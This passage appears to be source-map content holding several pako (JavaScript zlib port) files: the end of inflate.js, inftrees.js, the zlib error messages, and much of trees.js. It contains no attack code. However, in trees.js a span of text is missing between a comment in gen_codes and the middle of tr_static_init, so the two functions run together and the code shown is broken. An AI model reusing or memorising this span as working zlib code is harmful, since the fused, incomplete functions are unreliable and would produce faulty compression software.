updatewindow(strm, dictionary, dictLength, dictLength);\n if (ret) {\n state.mode = MEM;\n return Z_MEM_ERROR;\n }\n state.havedict = 1;\n // Tracev((stderr, \"inflate: dictionary set\\n\"));\n return Z_OK;\n}\n\nexports.inflateReset = inflateReset;\nexports.inflateReset2 = inflateReset2;\nexports.inflateResetKeep = inflateResetKeep;\nexports.inflateInit = inflateInit;\nexports.inflateInit2 = inflateInit2;\nexports.inflate = inflate;\nexports.inflateEnd = inflateEnd;\nexports.inflateGetHeader = inflateGetHeader;\nexports.inflateSetDictionary = inflateSetDictionary;\nexports.inflateInfo = 'pako inflate (from Nodeca project)';\n\n/* Not implemented\nexports.inflateCopy = inflateCopy;\nexports.inflateGetDictionary = inflateGetDictionary;\nexports.inflateMark = inflateMark;\nexports.inflatePrime = inflatePrime;\nexports.inflateSync = inflateSync;\nexports.inflateSyncPoint = inflateSyncPoint;\nexports.inflateUndermine = inflateUndermine;\n*/\n","'use strict';\n\n// (C) 1995-2013 Jean-loup Gailly and Mark Adler\n// (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin\n//\n// This software is provided 'as-is', without any express or implied\n// warranty. In no event will the authors be held liable for any damages\n// arising from the use of this software.\n//\n// Permission is granted to anyone to use this software for any purpose,\n// including commercial applications, and to alter it and redistribute it\n// freely, subject to the following restrictions:\n//\n// 1. The origin of this software must not be misrepresented; you must not\n// claim that you wrote the original software. If you use this software\n// in a product, an acknowledgment in the product documentation would be\n// appreciated but is not required.\n// 2. Altered source versions must be plainly marked as such, and must not be\n// misrepresented as being the original software.\n// 3. This notice may not be removed or altered from any source distribution.\n\nvar utils = require('../utils/common');\n\nvar MAXBITS = 15;\nvar ENOUGH_LENS = 852;\nvar ENOUGH_DISTS = 592;\n//var ENOUGH = (ENOUGH_LENS+ENOUGH_DISTS);\n\nvar CODES = 0;\nvar LENS = 1;\nvar DISTS = 2;\n\nvar lbase = [ /* Length codes 257..285 base */\n 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31,\n 35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258, 0, 0\n];\n\nvar lext = [ /* Length codes 257..285 extra */\n 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18,\n 19, 19, 19, 19, 20, 20, 20, 20, 21, 21, 21, 21, 16, 72, 78\n];\n\nvar dbase = [ /* Distance codes 0..29 base */\n 1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193,\n 257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145,\n 8193, 12289, 16385, 24577, 0, 0\n];\n\nvar dext = [ /* Distance codes 0..29 extra */\n 16, 16, 16, 16, 17, 17, 18, 18, 19, 19, 20, 20, 21, 21, 22, 22,\n 23, 23, 24, 24, 25, 25, 26, 26, 27, 27,\n 28, 28, 29, 29, 64, 64\n];\n\nmodule.exports = function inflate_table(type, lens, lens_index, codes, table, table_index, work, opts)\n{\n var bits = opts.bits;\n //here = opts.here; /* table entry for duplication */\n\n var len = 0; /* a code's length in bits */\n var sym = 0; /* index of code symbols */\n var min = 0, max = 0; /* minimum and maximum code lengths */\n var root = 0; /* number of index bits for root table */\n var curr = 0; /* number of index bits for current table */\n var drop = 0; /* code bits to drop for sub-table */\n var left = 0; /* number of prefix codes available */\n var used = 0; /* code entries in table used */\n var huff = 0; /* Huffman code */\n var incr; /* for incrementing code, index */\n var fill; /* index for replicating entries */\n var low; /* low bits for current root entry */\n var mask; /* mask for low root bits */\n var next; /* next available space in table */\n var base = null; /* base value table to use */\n var base_index = 0;\n// var shoextra; /* extra bits table to use */\n var end; /* use base and extra for symbol > end */\n var count = new utils.Buf16(MAXBITS + 1); //[MAXBITS+1]; /* number of codes of each length */\n var offs = new utils.Buf16(MAXBITS + 1); //[MAXBITS+1]; /* offsets in table for each length */\n var extra = null;\n var extra_index = 0;\n\n var here_bits, here_op, here_val;\n\n /*\n Process a set of code lengths to create a canonical Huffman code. The\n code lengths are lens[0..codes-1]. Each length corresponds to the\n symbols 0..codes-1. The Huffman code is generated by first sorting the\n symbols by length from short to long, and retaining the symbol order\n for codes with equal lengths. Then the code starts with all zero bits\n for the first code of the shortest length, and the codes are integer\n increments for the same length, and zeros are appended as the length\n increases. For the deflate format, these bits are stored backwards\n from their more natural integer increment ordering, and so when the\n decoding tables are built in the large loop below, the integer codes\n are incremented backwards.\n\n This routine assumes, but does not check, that all of the entries in\n lens[] are in the range 0..MAXBITS. The caller must assure this.\n 1..MAXBITS is interpreted as that code length. zero means that that\n symbol does not occur in this code.\n\n The codes are sorted by computing a count of codes for each length,\n creating from that a table of starting indices for each length in the\n sorted table, and then entering the symbols in order in the sorted\n table. The sorted table is work[], with that space being provided by\n the caller.\n\n The length counts are used for other purposes as well, i.e. finding\n the minimum and maximum length codes, determining if there are any\n codes at all, checking for a valid set of lengths, and looking ahead\n at length counts to determine sub-table sizes when building the\n decoding tables.\n */\n\n /* accumulate lengths for codes (assumes lens[] all in 0..MAXBITS) */\n for (len = 0; len <= MAXBITS; len++) {\n count[len] = 0;\n }\n for (sym = 0; sym < codes; sym++) {\n count[lens[lens_index + sym]]++;\n }\n\n /* bound code lengths, force root to be within code lengths */\n root = bits;\n for (max = MAXBITS; max >= 1; max--) {\n if (count[max] !== 0) { break; }\n }\n if (root > max) {\n root = max;\n }\n if (max === 0) { /* no symbols to code at all */\n //table.op[opts.table_index] = 64; //here.op = (var char)64; /* invalid code marker */\n //table.bits[opts.table_index] = 1; //here.bits = (var char)1;\n //table.val[opts.table_index++] = 0; //here.val = (var short)0;\n table[table_index++] = (1 << 24) | (64 << 16) | 0;\n\n\n //table.op[opts.table_index] = 64;\n //table.bits[opts.table_index] = 1;\n //table.val[opts.table_index++] = 0;\n table[table_index++] = (1 << 24) | (64 << 16) | 0;\n\n opts.bits = 1;\n return 0; /* no symbols, but wait for decoding to report error */\n }\n for (min = 1; min < max; min++) {\n if (count[min] !== 0) { break; }\n }\n if (root < min) {\n root = min;\n }\n\n /* check for an over-subscribed or incomplete set of lengths */\n left = 1;\n for (len = 1; len <= MAXBITS; len++) {\n left <<= 1;\n left -= count[len];\n if (left < 0) {\n return -1;\n } /* over-subscribed */\n }\n if (left > 0 && (type === CODES || max !== 1)) {\n return -1; /* incomplete set */\n }\n\n /* generate offsets into symbol table for each length for sorting */\n offs[1] = 0;\n for (len = 1; len < MAXBITS; len++) {\n offs[len + 1] = offs[len] + count[len];\n }\n\n /* sort symbols by length, by symbol order within each length */\n for (sym = 0; sym < codes; sym++) {\n if (lens[lens_index + sym] !== 0) {\n work[offs[lens[lens_index + sym]]++] = sym;\n }\n }\n\n /*\n Create and fill in decoding tables. In this loop, the table being\n filled is at next and has curr index bits. The code being used is huff\n with length len. That code is converted to an index by dropping drop\n bits off of the bottom. For codes where len is less than drop + curr,\n those top drop + curr - len bits are incremented through all values to\n fill the table with replicated entries.\n\n root is the number of index bits for the root table. When len exceeds\n root, sub-tables are created pointed to by the root entry with an index\n of the low root bits of huff. This is saved in low to check for when a\n new sub-table should be started. drop is zero when the root table is\n being filled, and drop is root when sub-tables are being filled.\n\n When a new sub-table is needed, it is necessary to look ahead in the\n code lengths to determine what size sub-table is needed. The length\n counts are used for this, and so count[] is decremented as codes are\n entered in the tables.\n\n used keeps track of how many table entries have been allocated from the\n provided *table space. It is checked for LENS and DIST tables against\n the constants ENOUGH_LENS and ENOUGH_DISTS to guard against changes in\n the initial root table size constants. See the comments in inftrees.h\n for more information.\n\n sym increments through all symbols, and the loop terminates when\n all codes of length max, i.e. all codes, have been processed. This\n routine permits incomplete codes, so another loop after this one fills\n in the rest of the decoding tables with invalid code markers.\n */\n\n /* set up for code type */\n // poor man optimization - use if-else instead of switch,\n // to avoid deopts in old v8\n if (type === CODES) {\n base = extra = work; /* dummy value--not used */\n end = 19;\n\n } else if (type === LENS) {\n base = lbase;\n base_index -= 257;\n extra = lext;\n extra_index -= 257;\n end = 256;\n\n } else { /* DISTS */\n base = dbase;\n extra = dext;\n end = -1;\n }\n\n /* initialize opts for loop */\n huff = 0; /* starting code */\n sym = 0; /* starting code symbol */\n len = min; /* starting code length */\n next = table_index; /* current table to fill in */\n curr = root; /* current table index bits */\n drop = 0; /* current bits to drop from code for index */\n low = -1; /* trigger new sub-table when len > root */\n used = 1 << root; /* use root table entries */\n mask = used - 1; /* mask for comparing low */\n\n /* check available table space */\n if ((type === LENS && used > ENOUGH_LENS) ||\n (type === DISTS && used > ENOUGH_DISTS)) {\n return 1;\n }\n\n /* process all codes and make table entries */\n for (;;) {\n /* create table entry */\n here_bits = len - drop;\n if (work[sym] < end) {\n here_op = 0;\n here_val = work[sym];\n }\n else if (work[sym] > end) {\n here_op = extra[extra_index + work[sym]];\n here_val = base[base_index + work[sym]];\n }\n else {\n here_op = 32 + 64; /* end of block */\n here_val = 0;\n }\n\n /* replicate for those indices with low len bits equal to huff */\n incr = 1 << (len - drop);\n fill = 1 << curr;\n min = fill; /* save offset to next table */\n do {\n fill -= incr;\n table[next + (huff >> drop) + fill] = (here_bits << 24) | (here_op << 16) | here_val |0;\n } while (fill !== 0);\n\n /* backwards increment the len-bit code huff */\n incr = 1 << (len - 1);\n while (huff & incr) {\n incr >>= 1;\n }\n if (incr !== 0) {\n huff &= incr - 1;\n huff += incr;\n } else {\n huff = 0;\n }\n\n /* go to next symbol, update count, len */\n sym++;\n if (--count[len] === 0) {\n if (len === max) { break; }\n len = lens[lens_index + work[sym]];\n }\n\n /* create new sub-table if needed */\n if (len > root && (huff & mask) !== low) {\n /* if first time, transition to sub-tables */\n if (drop === 0) {\n drop = root;\n }\n\n /* increment past last table */\n next += min; /* here min is 1 << curr */\n\n /* determine length of next table */\n curr = len - drop;\n left = 1 << curr;\n while (curr + drop < max) {\n left -= count[curr + drop];\n if (left <= 0) { break; }\n curr++;\n left <<= 1;\n }\n\n /* check for enough space */\n used += 1 << curr;\n if ((type === LENS && used > ENOUGH_LENS) ||\n (type === DISTS && used > ENOUGH_DISTS)) {\n return 1;\n }\n\n /* point entry in root table to sub-table */\n low = huff & mask;\n /*table.op[low] = curr;\n table.bits[low] = root;\n table.val[low] = next - opts.table_index;*/\n table[low] = (root << 24) | (curr << 16) | (next - table_index) |0;\n }\n }\n\n /* fill in remaining table entry if code is incomplete (guaranteed to have\n at most one remaining entry, since if the code is incomplete, the\n maximum code length that was allowed to get this far is one bit) */\n if (huff !== 0) {\n //table.op[next + huff] = 64; /* invalid code marker */\n //table.bits[next + huff] = len - drop;\n //table.val[next + huff] = 0;\n table[next + huff] = ((len - drop) << 24) | (64 << 16) |0;\n }\n\n /* set return parameters */\n //opts.table_index += used;\n opts.bits = root;\n return 0;\n};\n","'use strict';\n\n// (C) 1995-2013 Jean-loup Gailly and Mark Adler\n// (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin\n//\n// This software is provided 'as-is', without any express or implied\n// warranty. In no event will the authors be held liable for any damages\n// arising from the use of this software.\n//\n// Permission is granted to anyone to use this software for any purpose,\n// including commercial applications, and to alter it and redistribute it\n// freely, subject to the following restrictions:\n//\n// 1. The origin of this software must not be misrepresented; you must not\n// claim that you wrote the original software. If you use this software\n// in a product, an acknowledgment in the product documentation would be\n// appreciated but is not required.\n// 2. Altered source versions must be plainly marked as such, and must not be\n// misrepresented as being the original software.\n// 3. This notice may not be removed or altered from any source distribution.\n\nmodule.exports = {\n 2: 'need dictionary', /* Z_NEED_DICT 2 */\n 1: 'stream end', /* Z_STREAM_END 1 */\n 0: '', /* Z_OK 0 */\n '-1': 'file error', /* Z_ERRNO (-1) */\n '-2': 'stream error', /* Z_STREAM_ERROR (-2) */\n '-3': 'data error', /* Z_DATA_ERROR (-3) */\n '-4': 'insufficient memory', /* Z_MEM_ERROR (-4) */\n '-5': 'buffer error', /* Z_BUF_ERROR (-5) */\n '-6': 'incompatible version' /* Z_VERSION_ERROR (-6) */\n};\n","'use strict';\n\n// (C) 1995-2013 Jean-loup Gailly and Mark Adler\n// (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin\n//\n// This software is provided 'as-is', without any express or implied\n// warranty. In no event will the authors be held liable for any damages\n// arising from the use of this software.\n//\n// Permission is granted to anyone to use this software for any purpose,\n// including commercial applications, and to alter it and redistribute it\n// freely, subject to the following restrictions:\n//\n// 1. The origin of this software must not be misrepresented; you must not\n// claim that you wrote the original software. If you use this software\n// in a product, an acknowledgment in the product documentation would be\n// appreciated but is not required.\n// 2. Altered source versions must be plainly marked as such, and must not be\n// misrepresented as being the original software.\n// 3. This notice may not be removed or altered from any source distribution.\n\n/* eslint-disable space-unary-ops */\n\nvar utils = require('../utils/common');\n\n/* Public constants ==========================================================*/\n/* ===========================================================================*/\n\n\n//var Z_FILTERED = 1;\n//var Z_HUFFMAN_ONLY = 2;\n//var Z_RLE = 3;\nvar Z_FIXED = 4;\n//var Z_DEFAULT_STRATEGY = 0;\n\n/* Possible values of the data_type field (though see inflate()) */\nvar Z_BINARY = 0;\nvar Z_TEXT = 1;\n//var Z_ASCII = 1; // = Z_TEXT\nvar Z_UNKNOWN = 2;\n\n/*============================================================================*/\n\n\nfunction zero(buf) { var len = buf.length; while (--len >= 0) { buf[len] = 0; } }\n\n// From zutil.h\n\nvar STORED_BLOCK = 0;\nvar STATIC_TREES = 1;\nvar DYN_TREES = 2;\n/* The three kinds of block type */\n\nvar MIN_MATCH = 3;\nvar MAX_MATCH = 258;\n/* The minimum and maximum match lengths */\n\n// From deflate.h\n/* ===========================================================================\n * Internal compression state.\n */\n\nvar LENGTH_CODES = 29;\n/* number of length codes, not counting the special END_BLOCK code */\n\nvar LITERALS = 256;\n/* number of literal bytes 0..255 */\n\nvar L_CODES = LITERALS + 1 + LENGTH_CODES;\n/* number of Literal or Length codes, including the END_BLOCK code */\n\nvar D_CODES = 30;\n/* number of distance codes */\n\nvar BL_CODES = 19;\n/* number of codes used to transfer the bit lengths */\n\nvar HEAP_SIZE = 2 * L_CODES + 1;\n/* maximum heap size */\n\nvar MAX_BITS = 15;\n/* All codes must not exceed MAX_BITS bits */\n\nvar Buf_size = 16;\n/* size of bit buffer in bi_buf */\n\n\n/* ===========================================================================\n * Constants\n */\n\nvar MAX_BL_BITS = 7;\n/* Bit length codes must not exceed MAX_BL_BITS bits */\n\nvar END_BLOCK = 256;\n/* end of block literal code */\n\nvar REP_3_6 = 16;\n/* repeat previous bit length 3-6 times (2 bits of repeat count) */\n\nvar REPZ_3_10 = 17;\n/* repeat a zero length 3-10 times (3 bits of repeat count) */\n\nvar REPZ_11_138 = 18;\n/* repeat a zero length 11-138 times (7 bits of repeat count) */\n\n/* eslint-disable comma-spacing,array-bracket-spacing */\nvar extra_lbits = /* extra bits for each length code */\n [0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0];\n\nvar extra_dbits = /* extra bits for each distance code */\n [0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13];\n\nvar extra_blbits = /* extra bits for each bit length code */\n [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7];\n\nvar bl_order =\n [16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15];\n/* eslint-enable comma-spacing,array-bracket-spacing */\n\n/* The lengths of the bit length codes are sent in order of decreasing\n * probability, to avoid transmitting the lengths for unused bit length codes.\n */\n\n/* ===========================================================================\n * Local data. These are initialized only once.\n */\n\n// We pre-fill arrays with 0 to avoid uninitialized gaps\n\nvar DIST_CODE_LEN = 512; /* see definition of array dist_code below */\n\n// !!!! Use flat array instead of structure, Freq = i*2, Len = i*2+1\nvar static_ltree = new Array((L_CODES + 2) * 2);\nzero(static_ltree);\n/* The static literal tree. Since the bit lengths are imposed, there is no\n * need for the L_CODES extra codes used during heap construction. However\n * The codes 286 and 287 are needed to build a canonical tree (see _tr_init\n * below).\n */\n\nvar static_dtree = new Array(D_CODES * 2);\nzero(static_dtree);\n/* The static distance tree. (Actually a trivial tree since all codes use\n * 5 bits.)\n */\n\nvar _dist_code = new Array(DIST_CODE_LEN);\nzero(_dist_code);\n/* Distance codes. The first 256 values correspond to the distances\n * 3 .. 258, the last 256 values correspond to the top 8 bits of\n * the 15 bit distances.\n */\n\nvar _length_code = new Array(MAX_MATCH - MIN_MATCH + 1);\nzero(_length_code);\n/* length code for each normalized match length (0 == MIN_MATCH) */\n\nvar base_length = new Array(LENGTH_CODES);\nzero(base_length);\n/* First normalized length for each code (0 = MIN_MATCH) */\n\nvar base_dist = new Array(D_CODES);\nzero(base_dist);\n/* First normalized distance for each code (0 = distance of 1) */\n\n\nfunction StaticTreeDesc(static_tree, extra_bits, extra_base, elems, max_length) {\n\n this.static_tree = static_tree; /* static tree or NULL */\n this.extra_bits = extra_bits; /* extra bits for each code or NULL */\n this.extra_base = extra_base; /* base index for extra_bits */\n this.elems = elems; /* max number of elements in the tree */\n this.max_length = max_length; /* max bit length for the codes */\n\n // show if `static_tree` has data or dummy - needed for monomorphic objects\n this.has_stree = static_tree && static_tree.length;\n}\n\n\nvar static_l_desc;\nvar static_d_desc;\nvar static_bl_desc;\n\n\nfunction TreeDesc(dyn_tree, stat_desc) {\n this.dyn_tree = dyn_tree; /* the dynamic tree */\n this.max_code = 0; /* largest code with non zero frequency */\n this.stat_desc = stat_desc; /* the corresponding static tree */\n}\n\n\n\nfunction d_code(dist) {\n return dist < 256 ? _dist_code[dist] : _dist_code[256 + (dist >>> 7)];\n}\n\n\n/* ===========================================================================\n * Output a short LSB first on the stream.\n * IN assertion: there is enough room in pendingBuf.\n */\nfunction put_short(s, w) {\n// put_byte(s, (uch)((w) & 0xff));\n// put_byte(s, (uch)((ush)(w) >> 8));\n s.pending_buf[s.pending++] = (w) & 0xff;\n s.pending_buf[s.pending++] = (w >>> 8) & 0xff;\n}\n\n\n/* ===========================================================================\n * Send a value on a given number of bits.\n * IN assertion: length <= 16 and value fits in length bits.\n */\nfunction send_bits(s, value, length) {\n if (s.bi_valid > (Buf_size - length)) {\n s.bi_buf |= (value << s.bi_valid) & 0xffff;\n put_short(s, s.bi_buf);\n s.bi_buf = value >> (Buf_size - s.bi_valid);\n s.bi_valid += length - Buf_size;\n } else {\n s.bi_buf |= (value << s.bi_valid) & 0xffff;\n s.bi_valid += length;\n }\n}\n\n\nfunction send_code(s, c, tree) {\n send_bits(s, tree[c * 2]/*.Code*/, tree[c * 2 + 1]/*.Len*/);\n}\n\n\n/* ===========================================================================\n * Reverse the first len bits of a code, using straightforward code (a faster\n * method would use a table)\n * IN assertion: 1 <= len <= 15\n */\nfunction bi_reverse(code, len) {\n var res = 0;\n do {\n res |= code & 1;\n code >>>= 1;\n res <<= 1;\n } while (--len > 0);\n return res >>> 1;\n}\n\n\n/* ===========================================================================\n * Flush the bit buffer, keeping at most 7 bits in it.\n */\nfunction bi_flush(s) {\n if (s.bi_valid === 16) {\n put_short(s, s.bi_buf);\n s.bi_buf = 0;\n s.bi_valid = 0;\n\n } else if (s.bi_valid >= 8) {\n s.pending_buf[s.pending++] = s.bi_buf & 0xff;\n s.bi_buf >>= 8;\n s.bi_valid -= 8;\n }\n}\n\n\n/* ===========================================================================\n * Compute the optimal bit lengths for a tree and update the total bit length\n * for the current block.\n * IN assertion: the fields freq and dad are set, heap[heap_max] and\n * above are the tree nodes sorted by increasing frequency.\n * OUT assertions: the field len is set to the optimal bit length, the\n * array bl_count contains the frequencies for each bit length.\n * The length opt_len is updated; static_len is also updated if stree is\n * not null.\n */\nfunction gen_bitlen(s, desc)\n// deflate_state *s;\n// tree_desc *desc; /* the tree descriptor */\n{\n var tree = desc.dyn_tree;\n var max_code = desc.max_code;\n var stree = desc.stat_desc.static_tree;\n var has_stree = desc.stat_desc.has_stree;\n var extra = desc.stat_desc.extra_bits;\n var base = desc.stat_desc.extra_base;\n var max_length = desc.stat_desc.max_length;\n var h; /* heap index */\n var n, m; /* iterate over the tree elements */\n var bits; /* bit length */\n var xbits; /* extra bits */\n var f; /* frequency */\n var overflow = 0; /* number of elements with bit length too large */\n\n for (bits = 0; bits <= MAX_BITS; bits++) {\n s.bl_count[bits] = 0;\n }\n\n /* In a first pass, compute the optimal bit lengths (which may\n * overflow in the case of the bit length tree).\n */\n tree[s.heap[s.heap_max] * 2 + 1]/*.Len*/ = 0; /* root of the heap */\n\n for (h = s.heap_max + 1; h < HEAP_SIZE; h++) {\n n = s.heap[h];\n bits = tree[tree[n * 2 + 1]/*.Dad*/ * 2 + 1]/*.Len*/ + 1;\n if (bits > max_length) {\n bits = max_length;\n overflow++;\n }\n tree[n * 2 + 1]/*.Len*/ = bits;\n /* We overwrite tree[n].Dad which is no longer needed */\n\n if (n > max_code) { continue; } /* not a leaf node */\n\n s.bl_count[bits]++;\n xbits = 0;\n if (n >= base) {\n xbits = extra[n - base];\n }\n f = tree[n * 2]/*.Freq*/;\n s.opt_len += f * (bits + xbits);\n if (has_stree) {\n s.static_len += f * (stree[n * 2 + 1]/*.Len*/ + xbits);\n }\n }\n if (overflow === 0) { return; }\n\n // Trace((stderr,\"\\nbit length overflow\\n\"));\n /* This happens for example on obj2 and pic of the Calgary corpus */\n\n /* Find the first bit length which could increase: */\n do {\n bits = max_length - 1;\n while (s.bl_count[bits] === 0) { bits--; }\n s.bl_count[bits]--; /* move one leaf down the tree */\n s.bl_count[bits + 1] += 2; /* move one overflow item as its brother */\n s.bl_count[max_length]--;\n /* The brother of the overflow item also moves one step up,\n * but this does not affect bl_count[max_length]\n */\n overflow -= 2;\n } while (overflow > 0);\n\n /* Now recompute all bit lengths, scanning in increasing frequency.\n * h is still equal to HEAP_SIZE. (It is simpler to reconstruct all\n * lengths instead of fixing only the wrong ones. This idea is taken\n * from 'ar' written by Haruhiko Okumura.)\n */\n for (bits = max_length; bits !== 0; bits--) {\n n = s.bl_count[bits];\n while (n !== 0) {\n m = s.heap[--h];\n if (m > max_code) { continue; }\n if (tree[m * 2 + 1]/*.Len*/ !== bits) {\n // Trace((stderr,\"code %d bits %d->%d\\n\", m, tree[m].Len, bits));\n s.opt_len += (bits - tree[m * 2 + 1]/*.Len*/) * tree[m * 2]/*.Freq*/;\n tree[m * 2 + 1]/*.Len*/ = bits;\n }\n n--;\n }\n }\n}\n\n\n/* ===========================================================================\n * Generate the codes for a given tree and bit counts (which need not be\n * optimal).\n * IN assertion: the array bl_count contains the bit length statistics for\n * the given tree and the field len is set for all tree elements.\n * OUT assertion: the field code is set for all tree elements of non\n * zero code length.\n */\nfunction gen_codes(tree, max_code, bl_count)\n// ct_data *tree; /* the tree to decorate */\n// int max_code; /* largest code with non zero frequency */\n// ushf *bl_count; /* number of codes at each bit length */\n{\n var next_code = new Array(MAX_BITS + 1); /* next code value for each bit length */\n var code = 0; /* running code value */\n var bits; /* bit index */\n var n; /* code index */\n\n /* The distribution counts are first used to generate the code values\n * without bit reversal.\n */\n for (bits = 1; bits <= MAX_BITS; bits++) {\n next_code[bits] = code = (code + bl_count[bits - 1]) << 1;\n }\n /* Check that the bit counts in bl_count are consistent. The last code\n * must be all ones.\n */\n //Assert (code + bl_count[MAX_BITS]-1 == (1< length code (0..28) */\n length = 0;\n for (code = 0; code < LENGTH_CODES - 1; code++) {\n base_length[code] = length;\n for (n = 0; n < (1 << extra_lbits[code]); n++) {\n _length_code[length++] = code;\n }\n }\n //Assert (length == 256, \"tr_static_init: length != 256\");\n /* Note that the length 255 (match length 258) can be represented\n * in two different ways: code 284 + 5 bits or code 285, so we\n * overwrite length_code[255] to use the best encoding:\n */\n _length_code[length - 1] = code;\n\n /* Initialize the mapping dist (0..32K) -> dist code (0..29) */\n dist = 0;\n for (code = 0; code < 16; code++) {\n base_dist[code] = dist;\n for (n = 0; n < (1 << extra_dbits[code]); n++) {\n _dist_code[dist++] = code;\n }\n }\n //Assert (dist == 256, \"tr_static_init: dist != 256\");\n dist >>= 7; /* from now on, all distances are divided by 128 */\n for (; code < D_CODES; code++) {\n base_dist[code] = dist << 7;\n for (n = 0; n < (1 << (extra_dbits[code] - 7)); n++) {\n _dist_code[256 + dist++] = code;\n }\n }\n //Assert (dist == 256, \"tr_static_init: 256+dist != 512\");\n\n /* Construct the codes of the static literal tree */\n for (bits = 0; bits <= MAX_BITS; bits++) {\n bl_count[bits] = 0;\n }\n\n n = 0;\n while (n <= 143) {\n static_ltree[n * 2 + 1]/*.Len*/ = 8;\n n++;\n bl_count[8]++;\n }\n while (n <= 255) {\n static_ltree[n * 2 + 1]/*.Len*/ = 9;\n n++;\n bl_count[9]++;\n }\n while (n <= 279) {\n static_ltree[n * 2 + 1]/*.Len*/ = 7;\n n++;\n bl_count[7]++;\n }\n while (n <= 287) {\n static_ltree[n * 2 + 1]/*.Len*/ = 8;\n n++;\n bl_count[8]++;\n }\n /* Codes 286 and 287 do not exist, but we must include them in the\n * tree construction to get a canonical Huffman tree (longest code\n * all ones)\n */\n gen_codes(static_ltree, L_CODES + 1, bl_count);\n\n /* The static distance tree is trivial: */\n for (n = 0; n < D_CODES; n++) {\n static_dtree[n * 2 + 1]/*.Len*/ = 5;\n static_dtree[n * 2]/*.Code*/ = bi_reverse(n, 5);\n }\n\n // Now data ready and we can init static trees\n static_l_desc = new StaticTreeDesc(static_ltree, extra_lbits, LITERALS + 1, L_CODES, MAX_BITS);\n static_d_desc = new StaticTreeDesc(static_dtree, extra_dbits, 0, D_CODES, MAX_BITS);\n static_bl_desc = new StaticTreeDesc(new Array(0), extra_blbits, 0, BL_CODES, MAX_BL_BITS);\n\n //static_init_done = true;\n}\n\n\n/* ===========================================================================\n * Initialize a new block.\n */\nfunction init_block(s) {\n var n; /* iterates over tree elements */\n\n /* Initialize the trees. */\n for (n = 0; n < L_CODES; n++) { s.dyn_ltree[n * 2]/*.Freq*/ = 0; }\n for (n = 0; n < D_CODES; n++) { s.dyn_dtree[n * 2]/*.Freq*/ = 0; }\n for (n = 0; n < BL_CODES; n++) { s.bl_tree[n * 2]/*.Freq*/ = 0; }\n\n s.dyn_ltree[END_BLOCK * 2]/*.Freq*/ = 1;\n s.opt_len = s.static_len = 0;\n s.last_lit = s.matches = 0;\n}\n\n\n/* ===========================================================================\n * Flush the bit buffer and align the output on a byte boundary\n */\nfunction bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}\n\n/* ===========================================================================\n * Copy a stored block, storing first the length and its\n * one's complement if requested.\n */\nfunction copy_block(s, buf, len, header)\n//DeflateState *s;\n//charf *buf; /* the input data */\n//unsigned len; /* its length */\n//int header; /* true if block header must be written */\n{\n bi_windup(s); /* align on byte boundary */\n\n if (header) {\n put_short(s, len);\n put_short(s, ~len);\n }\n// while (len--) {\n// put_byte(s, *buf++);\n// }\n utils.arraySet(s.pending_buf, s.window, buf, len, s.pending);\n s.pending += len;\n}\n\n/* ===========================================================================\n * Compares to subtrees, using the tree depth as tie breaker when\n * the subtrees have equal frequency. This minimizes the worst case length.\n */\nfunction smaller(tree, n, m, depth) {\n var _n2 = n * 2;\n var _m2 = m * 2;\n return (tree[_n2]/*.Freq*/ < tree[_m2]/*.Freq*/ ||\n (tree[_n2]/*.Freq*/ === tree[_m2]/*.Freq*/ && depth[n] <= depth[m]));\n}\n\n/* ===========================================================================\n * Restore the heap property by moving down the tree starting at node k,\n * exchanging a node with the smallest of its two sons if necessary, stopping\n * when the heap property is re-established (each father smaller than its\n * two sons).\n */\nfunction pqdownheap(s, tree, k)\n// deflate_state *s;\n// ct_data *tree; /* the tree to restore */\n// int k; /* node to move down */\n{\n var v = s.heap[k];\n var j = k << 1; /* left son of k */\n while (j <= s.heap_len) {\n /* Set j to the smallest of the two sons: */\n if (j < s.heap_len &&\n smaller(tree, s.heap[j + 1], s.heap[j], s.depth)) {\n j++;\n }\n /* Exit if v is smaller than both sons */\n if (smaller(tree, v, s.heap[j], s.depth)) { break; }\n\n /* Exchange v with the smallest son */\n s.heap[k] = s.heap[j];\n k = j;\n\n /* And continue down the tree, setting j to the left son of k */\n j <<= 1;\n }\n s.heap[k] = v;\n}\n\n\n// inlined manually\n// var SMALLEST = 1;\n\n/* ===========================================================================\n * Send the block data compressed using the given Huffman trees\n */\nfunction compress_block(s, ltree, dtree)\n// deflate_state *s;\n// const ct_data *ltree; /* literal tree */\n// const ct_data *dtree; /* distance tree */\n{\n var dist; /* distance of matched string */\n var lc; /* match length or unmatched char (if dist == 0) */\n var lx = 0; /* running index in l_buf */\n var code; /* the code to send */\n var extra; /* number of extra bits to send */\n\n if (s.last_lit !== 0) {\n do {\n dist = (s.pending_buf[s.d_buf + lx * 2] << 8) | (s.pending_buf[s.d_buf + lx * 2 + 1]);\n lc = s.pending_buf[s.l_buf + lx];\n lx++;\n\n if (dist === 0) {\n send_code(s, lc, ltree); /* send a literal byte */\n //Tracecv(isgraph(lc), (stderr,\" '%c' \", lc));\n } else {\n /* Here, lc is the match length - MIN_MATCH */\n code = _length_code[lc];\n send_code(s, code + LITERALS + 1, ltree); /* send the length code */\n extra = extra_lbits[code];\n if (extra !== 0) {\n lc -= base_length[code];\n send_bits(s, lc, extra); /* send the extra length bits */\n }\n dist--; /* dist is now the match distance - 1 */\n code = d_code(dist);\n //Assert (code < D_CODES, \"bad d_code\");\n\n send_code(s, code, dtree); /* send the distance code */\n extra = extra_dbits[code];\n if (extra !== 0) {\n dist -= base_dist[code];\n send_bits(s, dist, extra); /* send the extra distance bits */\n }\n } /* literal or match pair ? */\n\n /* Check that 